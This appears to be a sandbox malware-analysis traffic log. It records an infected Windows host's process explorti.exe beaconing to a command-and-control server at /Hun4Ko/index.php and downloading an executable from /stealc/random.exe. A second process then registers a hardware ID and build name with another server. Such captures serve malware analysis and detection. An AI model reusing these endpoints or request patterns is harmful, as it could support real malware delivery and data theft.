Jul 2, 2024 15:26:14.225922108 CEST	1236	IN	Data Raw: 4c 0f 5d 91 1a 61 be 50 af 3f d7 7f 53 17 ee 0d 47 59 4d 13 ec 4a bf e1 9d 25 32 08 cc ee ea dd e8 35 ef 5c ed 89 9a 23 d2 dc 0b 57 44 b0 5c ac ac 16 52 72 e7 83 83 0b b7 87 0a 84 ea c4 b6 ec bc 98 a5 a1 08 bc f8 d4 46 21 43 9f a1 3d 9b 03 b3 e8 Data Ascii: L]aP?SGYMJ%25\#WD\RrF!C=kl-#UdeTtahB)zKVD)O!9aZ&B@XEZR0"K30m~oeod}dKa&XX@c7nb4az
Jul 2, 2024 15:26:14.225934029 CEST	1236	IN	Data Raw: 2a 74 1d de ff 93 75 96 ca 79 c9 a8 20 29 b4 23 ae 14 bb 1e 32 a5 79 3c fd 09 9a a5 2d 46 96 e6 3e 15 ae b9 be d1 32 bc 72 4a 63 86 7c af 60 e5 c2 00 15 30 9d 39 52 b9 b9 fc a7 fc 58 15 69 18 2a dd f2 9b 79 16 94 12 f5 cc 0a d8 64 c2 5f 34 e8 40 Data Ascii: tuy )#2y<-F>2rJc\|`09RXiyd_4@A3da\|\M\|'Xs~YuzDv}O1fvqE %/,x5yzGQJmcOEUUw^4$WxWB[6_Vt}Xb4
Jul 2, 2024 15:26:14.226597071 CEST	1236	IN	Data Raw: 1a 75 f3 eb af 01 fa 73 e5 73 9b a4 de a8 fc 7b 24 e6 3a 81 4e 96 2e 9c 66 2d 0c 46 9d 9f fd c6 a7 47 4e 38 05 71 5b 86 76 93 8a 36 dd 51 48 e7 6e 69 cc 7a a2 39 07 ed a5 6a ef 00 89 1c bd d2 2f 9e 8e a2 1e 16 ab f4 07 c3 e5 f3 26 f7 96 ee ee ce Data Ascii: uss{$:N.f-FGN8q[v6QHniz9j/&uu@G,=]][doC%m [^`<wq1"o$~ut;Q!JsX&5XU_TrQ/eZ69'p`1t6vX8uq'
Jul 2, 2024 15:26:14.226613998 CEST	1236	IN	Data Raw: 02 01 c4 5d 93 12 e0 b6 f9 b7 2c df 04 6a 78 02 ef 0e 3e 9e 63 45 90 00 7c 37 d4 70 1d e9 8b 98 16 12 ee a7 3b d8 72 51 9a 1b ca 3f ec 7f 97 1e 27 87 ca 3c ec 59 8f 0b 1d 82 e4 1e 14 49 cc ec 26 cb ad c7 66 16 d0 d2 6e 96 e1 36 c9 79 eb 98 c7 37 Data Ascii: ],jx>cE\|7p;rQ?'<YI&fn6y7T4K3&:u-m%W!S&Sh_13O{:Wwi"$3@egKCMdyF,pm*+wr2fB/oRL8A0J3<R'Atr
Jul 2, 2024 15:26:14.230679035 CEST	1236	IN	Data Raw: 60 45 8e 90 d1 c8 c3 24 ad da 0d 5b 16 f3 ba fb ca c8 a8 5c e2 dc 67 22 68 92 07 45 e7 26 4c dd 71 80 39 01 6d bb 0d 5f 03 cc c0 61 ec 4c d2 8e 6d c4 8d 56 a7 45 d0 39 65 72 f9 5a 9c 88 c5 52 9d bf 0d 5d 42 c7 83 bf 39 c8 41 40 21 4e 45 08 49 29 Data Ascii: `E$[\g"hE&Lq9m_aLmVE9erZR]B9A@!NEI)^ObjjDY*+^D6Fel6kn#\ugaUU/"rJqd5=z'az'uom0]`}ori+nBxZK(!zOym

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:24.717428923 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:25.394459963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:25.396570921 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:25.614319086 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	77.91.77.81	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:25.623442888 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 2, 2024 15:26:26.329097033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:26 GMT Content-Type: application/octet-stream Content-Length: 2530304 Last-Modified: Tue, 02 Jul 2024 12:07:27 GMT Connection: keep-alive ETag: "6683ed7f-269c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 e0 f2 be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 bf 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELAf!@@ 0P@@@0!@@Pp# @x#(@.datap"h"4@
Jul 2, 2024 15:26:26.329122066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e0 7d a6 da 2b 0d e4 91 82 37 b9 d9 da 9d 14 a7 43 eb 7c 43 93 4f 20 7f Data Ascii: G}+7C\|CO =[MZ$MWh3g;LzU~*#H-?]K(Ww,s@QuY.!zf}KFiN)BGDIO:S{tdJw"{^d
Jul 2, 2024 15:26:26.329142094 CEST	448	IN	Data Raw: 74 54 1c 8c 75 a1 45 18 ae 9f aa c3 f3 00 1c 28 78 f4 9c 02 68 04 c5 22 8e 6b f0 1d 46 b5 b7 77 77 1d 1d 36 d5 a3 55 28 51 96 d3 71 77 7b 2a 8f 86 9b 12 30 81 90 c0 6e e7 78 3c 1b c6 7f 4b 4c 8e 82 06 cc 2a f9 e2 76 09 17 bd b0 34 a4 a2 19 39 ab Data Ascii: tTuE(xh"kFww6U(Qqw{0nx<KLv49YQ]O=4G;\|Olu;ybtTM+!Hl%DR1bW^X9."*%dFMk&2Iz`#C<_hc\|vl)
Jul 2, 2024 15:26:26.329288006 CEST	1236	IN	Data Raw: 13 e9 9e 42 85 4e 6d bf 7b f1 c4 42 10 23 67 64 79 a2 63 45 63 ad 38 39 cf 80 05 47 34 f8 97 75 0f 92 be 6b 07 f4 32 7b 27 8c 01 0c eb 2f f8 67 ba a8 ab 62 88 a6 a0 ec 0b 02 15 c2 ba 8c c0 62 d4 a7 b8 49 dd cd f0 cd 56 7c d8 49 42 92 95 4f 1d 64 Data Ascii: BNm{B#gdycEc89G4uk2{'/gbbIV\|IBOd%l5wod;;Aw0I8 qNRDfs\|TcPc?:yXt g QBevVHe&)\,6R{(5k?Z/Wc%MUkK(K$y
Jul 2, 2024 15:26:26.329420090 CEST	1236	IN	Data Raw: 5c 05 b2 8e ce fb ff 37 78 78 da ae d4 c1 21 23 8a c8 74 15 b2 de 4a 23 81 99 9e 33 5f f7 c5 9c 85 3b bd 2c 81 3a 53 bb db 85 ad 5b 04 cf 3e 4f 97 2c 95 ad 7b fb ec 65 4e 32 3d 7a 5d b0 6d cd fc e2 3b d0 de 09 49 41 6b a1 a8 b6 34 c1 a3 bb 27 cf Data Ascii: \7xx!#tJ#3_;,:S[>O,{eN2=z]m;IAk4'@8]@lQM3s&Yl4hm`E}_*t9AZ@,JtZ 3{RZ~eT1R8KJ &O_YlXJAQ.
Jul 2, 2024 15:26:26.329431057 CEST	1236	IN	Data Raw: 92 d4 ba 53 d4 1e 78 eb ef 52 24 da 16 50 b8 1c c4 86 21 87 90 bf 14 db 8e a8 36 94 ba 37 1a 66 c7 75 23 e0 23 5d 60 9e cb 84 e8 18 89 95 ae d8 a2 61 4e c0 67 2b 70 80 4f 7e 49 27 85 58 86 6a b8 50 17 d3 3b 39 e6 6b ba 0a 24 d5 7e 52 4a 60 e7 19 Data Ascii: SxR$P!67fu##]`aNg+pO~I'XjP;9k$~RJ`> KC.X^' Nb(RjRpKC[EbJBM'c0-^Q,h};20XLCx:C{l0BP"xRa9%{?[ di:/K
Jul 2, 2024 15:26:26.329448938 CEST	1236	IN	Data Raw: 0d c7 c5 81 a2 c4 4c 3e c1 5d 73 d3 57 89 19 df be 4c c4 9e 2a 8d 33 da dc 8f 29 92 84 a8 98 f0 ba eb 30 fe 09 b3 f5 39 6d f2 07 5d 81 f9 a1 b0 a1 05 72 82 58 95 ab de 72 ac 5d c5 29 7a 55 b7 39 fd 48 04 3f bb 9f ed 00 8e c9 e4 89 2e 2c 0d 23 2f Data Ascii: L>]sWL3)09m]rXr])zU9H?.,#/i$Lk0m>F#sJc^{X4m_:_\|]fXN<`U?OkO/9qQw62\[j!7TST^)R-B-hL1
Jul 2, 2024 15:26:26.329463959 CEST	1236	IN	Data Raw: 29 02 cf 53 c1 e8 e5 aa a0 38 19 58 92 b6 46 30 04 31 38 86 a0 88 dc a9 00 eb 0e d8 03 36 92 f5 c9 03 df aa a6 0d f6 71 1e a3 3f 5d a1 6c 15 63 91 41 4b 07 e9 b3 e7 62 fe 75 7d 16 18 e2 10 34 ad b1 4b ee 32 33 6a 48 dc 3d a3 eb 57 1a bd c6 7e e6 Data Ascii: )S8XF0186q?]lcAKbu}4K23jH=W~H/-;}b9WMJ[<E;6[f 9`j-&vJIREW8(xYqhl[!F6r4% G7%G^;xMh_uGAum0
Jul 2, 2024 15:26:26.329847097 CEST	1236	IN	Data Raw: 34 b7 3e f0 46 78 24 26 6a d7 a7 1f 8d 3a 3e 8d 49 4e 50 07 b8 eb 2d 6a c9 fb cb 34 f6 67 e8 02 77 95 4b 3f 2b 11 b5 c4 6b d0 7a f9 f9 2c c1 47 88 3d 20 20 fc d6 8f ba f6 ea 0c 47 f1 df 93 99 e5 3a c0 e1 13 86 37 e7 3b aa 53 84 c5 3f 97 11 f5 7f Data Ascii: 4>Fx$&j:>INP-j4gwK?+kz,G= G:7;S?gy%{%nFK^j% O8`aQR89:PkJ_!Qw0]iMh`%u';M'\<)W`od&Iy\|F`v!qj04dpo= 7tTPp/
Jul 2, 2024 15:26:26.329859018 CEST	1236	IN	Data Raw: d0 28 2c 32 42 30 de 3a ec 95 42 7f 54 69 51 cd 16 55 7f a5 06 2a 32 3c af 0a 88 70 54 26 d0 16 d2 16 60 1b 81 5e 0c 38 8a f3 4c af aa 51 52 a0 e6 c6 9a c0 b5 bc 1f 17 d4 d1 fd 66 5f 5c bd 10 62 38 40 0e c5 47 6a e1 08 6a eb 4e 10 9d 31 3b bc f4 Data Ascii: (,2B0:BTiQU2<pT&`^8LQRf_\b8@GjjN1;O]o@HP?NIu$=cbJ2'\|$$PY"cDhV~z8=PgS]=+gLts(=R[3<'u<tCnFG8mRJ/
Jul 2, 2024 15:26:26.334485054 CEST	1236	IN	Data Raw: d4 30 04 3f b9 8b 73 a7 26 4d 9d 9e c3 ab 86 df 44 39 53 26 5f 71 fc f0 bb 6c 56 34 38 7e 23 63 b8 c0 ce b1 cc b0 66 98 94 19 1b 1d b2 14 1b e7 e0 9a 3f 03 f7 5c c5 04 58 0f cc 1b 66 88 98 3b f1 a3 fb 82 d2 5b a9 b4 54 95 f9 91 89 ed e5 8b 3a 6b Data Ascii: 0?s&MD9S&_qlV48~#cf?\Xf;[T:k)iqHZ.$tLC]vz7^pJ0>FAja\{[J"r29G6\\<@+U"sf%"/aCQDF7FEv*2uUCND_qF<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	85.28.47.4	80	7640	C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:29.107472897 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFHIDGIJKJKECBGDBG Host: 85.28.47.4 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 44 42 41 44 33 43 33 30 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 2d 2d 0d 0a Data Ascii: ------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="hwid"E8DBAD3C30433430373531------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="build"jony------HDAFHIDGIJKJKECBGDBG--
Jul 2, 2024 15:26:29.759938002 CEST	211	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:29.185020924 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 2, 2024 15:26:29.888072014 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:30.008771896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:30.711710930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:30.716363907 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:30.940413952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:31.054375887 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:31.746891022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:31.749185085 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:31.983277082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:32.100641966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:33.373068094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:33.373183966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:33.373531103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:33.373975039 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:33.657263041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:33.772275925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:34.476087093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:34.477344990 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:34.699533939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:34.822191000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:35.553328991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
